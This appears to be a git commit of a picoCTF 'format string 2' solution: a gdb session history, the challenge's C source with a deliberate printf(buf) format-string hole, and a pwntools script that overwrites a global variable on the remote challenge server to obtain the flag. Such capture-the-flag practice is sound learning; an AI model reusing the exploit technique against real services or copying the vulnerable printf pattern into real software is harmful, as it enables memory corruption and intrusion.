format string 2
This commit is contained in:
217
format_string_2/.gdb_history
Normal file
217
format_string_2/.gdb_history
Normal file
@@ -0,0 +1,217 @@
|
||||
disassemble main
|
||||
b *main+75
|
||||
run
|
||||
exit
|
||||
disams main
|
||||
disasm
|
||||
disams main
|
||||
disasm main
|
||||
disassemble main
|
||||
b *main+75
|
||||
run
|
||||
n
|
||||
n
|
||||
n
|
||||
n
|
||||
stack
|
||||
stack 10
|
||||
stack 20
|
||||
stack 40
|
||||
search 0x21737573
|
||||
search \x21\x73\x75\x73
|
||||
search -dword 0x21737573
|
||||
search --dword 0x21737573
|
||||
search --dword 0x00404060
|
||||
search --qword 0x0000000000404060
|
||||
disassemble main
|
||||
stack 40
|
||||
stack 60
|
||||
search --dword 0x21737573
|
||||
run
|
||||
continue
|
||||
run
|
||||
stack 40
|
||||
stack 60
|
||||
continue
|
||||
run
|
||||
search --dword 0x21737573
|
||||
continue
|
||||
run
|
||||
continue
|
||||
run
|
||||
disassemble main
|
||||
exit
|
||||
disassemble main
|
||||
exit
|
||||
disassemble main
|
||||
b *main+95
|
||||
run
|
||||
stack 60
|
||||
help x
|
||||
stack 60
|
||||
x 1xg 0x7fffffffbc70
|
||||
x 1x 0x7fffffffbc70
|
||||
x 0x7fffffffbc70
|
||||
x 0x7fffffffbc70
|
||||
2x 0x7fffffffbc70
|
||||
x2 0x7fffffffbc70
|
||||
x 2 0x7fffffffbc70
|
||||
x /2 0x7fffffffbc70
|
||||
x /1xg 0x7fffffffbc70
|
||||
n
|
||||
x /1xg 0x7fffffffbc70A
|
||||
continue
|
||||
continue
|
||||
run
|
||||
exit
|
||||
b *main+95
|
||||
run
|
||||
x /1xg 0x7fffffffbc70A
|
||||
stack
|
||||
stack 60
|
||||
x /1xg 0x7fffffffbc70
|
||||
continue
|
||||
run
|
||||
stack
|
||||
stack 60
|
||||
x /1xg 0x7fffffffbc70
|
||||
continue
|
||||
run
|
||||
stack 60
|
||||
continue
|
||||
exit
|
||||
python import sys
|
||||
python print(sys.path)
|
||||
exit
|
||||
exit
|
||||
exit
|
||||
exit
|
||||
exit
|
||||
exit
|
||||
exit
|
||||
exit
|
||||
exit
|
||||
exit
|
||||
disassemble main
|
||||
b *main+95
|
||||
run
|
||||
stack 40
|
||||
continue
|
||||
disassemble main
|
||||
run
|
||||
stack 40
|
||||
continue
|
||||
search b570
|
||||
find b570
|
||||
run
|
||||
stack 40
|
||||
continue
|
||||
info
|
||||
exit
|
||||
disassemble main
|
||||
b *main+95
|
||||
run
|
||||
stack 40
|
||||
continue
|
||||
run
|
||||
stack 40
|
||||
continue
|
||||
run
|
||||
n
|
||||
stack 40
|
||||
exit
|
||||
disassemble main
|
||||
b *main+95
|
||||
run
|
||||
n
|
||||
x/1x
|
||||
x/2xw 0x7fffffffb570
|
||||
x/xw 0x7fffffffb570
|
||||
x 0x7fffffffb570
|
||||
continue
|
||||
run
|
||||
x 0x7fffffffb570
|
||||
n
|
||||
x 0x7fffffffb570
|
||||
continue
|
||||
run
|
||||
stack 60
|
||||
continue
|
||||
run
|
||||
stack 60
|
||||
n
|
||||
continue
|
||||
run
|
||||
stack 20
|
||||
continue
|
||||
run
|
||||
stack
|
||||
stack20
|
||||
stack 20
|
||||
continue
|
||||
run
|
||||
stack 20
|
||||
continue
|
||||
run
|
||||
exit
|
||||
b *main+95
|
||||
run < python print(b"\x60\x40\x40\x00")
|
||||
run < python -c "print(b"\x60\x40\x40\x00")"
|
||||
run < python3 -c "print(b"\x60\x40\x40\x00")"
|
||||
exit
|
||||
b *main+95
|
||||
run < pipe
|
||||
exit
|
||||
b *main+95
|
||||
run < pipe
|
||||
continue
|
||||
exit
|
||||
b *main+95
|
||||
run < pipe
|
||||
stack 20
|
||||
x 0x404060
|
||||
n
|
||||
x 0x404060
|
||||
exit
|
||||
b *main+95
|
||||
run
|
||||
stack 20
|
||||
n
|
||||
exit
|
||||
exit
|
||||
b *main+95
|
||||
run
|
||||
run < pipe
|
||||
x 0x404060
|
||||
n
|
||||
x 0x404060
|
||||
stack 20
|
||||
continue
|
||||
exit
|
||||
b *main+95
|
||||
run
|
||||
run < pipe
|
||||
disassemble main
|
||||
x 0x404060
|
||||
x 0x7fffffffba00
|
||||
x $rip
|
||||
x $rip+0x2de7
|
||||
x 0x401273+0x2de7
|
||||
x 0x401279+0x2de7
|
||||
stack 40
|
||||
continue
|
||||
run
|
||||
stack 40
|
||||
n
|
||||
run < pipe
|
||||
stack 20
|
||||
continue
|
||||
run < pipe
|
||||
stack 20
|
||||
continue
|
||||
run < pipe
|
||||
stack 20
|
||||
continue
|
||||
run < pipe
|
||||
stack 20
|
||||
exit
|
||||
2
format_string_2/peda-session-vuln.txt
Normal file
2
format_string_2/peda-session-vuln.txt
Normal file
@@ -0,0 +1,2 @@
|
||||
break *main+95
|
||||
|
||||
24
format_string_2/sol.py
Executable file
24
format_string_2/sol.py
Executable file
@@ -0,0 +1,24 @@
|
||||
#!/usr/bin/env python3
|
||||
from pwn import *
|
||||
|
||||
context.arch = "amd64"
|
||||
|
||||
address = "rhea.picoctf.net"
|
||||
port = 51393
|
||||
conn = remote(address, port)
|
||||
|
||||
def send_payload(payload):
|
||||
conn = remote(address, port)
|
||||
log.info(f"payload: {repr(payload)}")
|
||||
conn.sendline(payload)
|
||||
return conn.recvall()
|
||||
|
||||
format_string = FmtStr(send_payload)
|
||||
offset = format_string.offset
|
||||
|
||||
payload = fmtstr_payload(offset, {0x404060: 0x67616c66})
|
||||
log.info(payload)
|
||||
conn.sendline(payload)
|
||||
|
||||
flag = conn.recvall()
|
||||
log.success(flag)
|
||||
BIN
format_string_2/vuln
Executable file
BIN
format_string_2/vuln
Executable file
Binary file not shown.
35
format_string_2/vuln.c
Normal file
35
format_string_2/vuln.c
Normal file
@@ -0,0 +1,35 @@
|
||||
#include <stdio.h>
|
||||
|
||||
int sus = 0x21737573;
|
||||
|
||||
int main() {
|
||||
char buf[1024];
|
||||
char flag[64];
|
||||
|
||||
|
||||
printf("You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?\n");
|
||||
fflush(stdout);
|
||||
scanf("%1024s", buf);
|
||||
printf("Here's your input: ");
|
||||
printf(buf);
|
||||
printf("\n");
|
||||
fflush(stdout);
|
||||
|
||||
if (sus == 0x67616c66) {
|
||||
printf("I have NO clue how you did that, you must be a wizard. Here you go...\n");
|
||||
|
||||
// Read in the flag
|
||||
FILE *fd = fopen("flag.txt", "r");
|
||||
fgets(flag, 64, fd);
|
||||
|
||||
printf("%s", flag);
|
||||
fflush(stdout);
|
||||
}
|
||||
else {
|
||||
printf("sus = 0x%x\n", sus);
|
||||
printf("You can do better!\n");
|
||||
fflush(stdout);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
Reference in New Issue
Block a user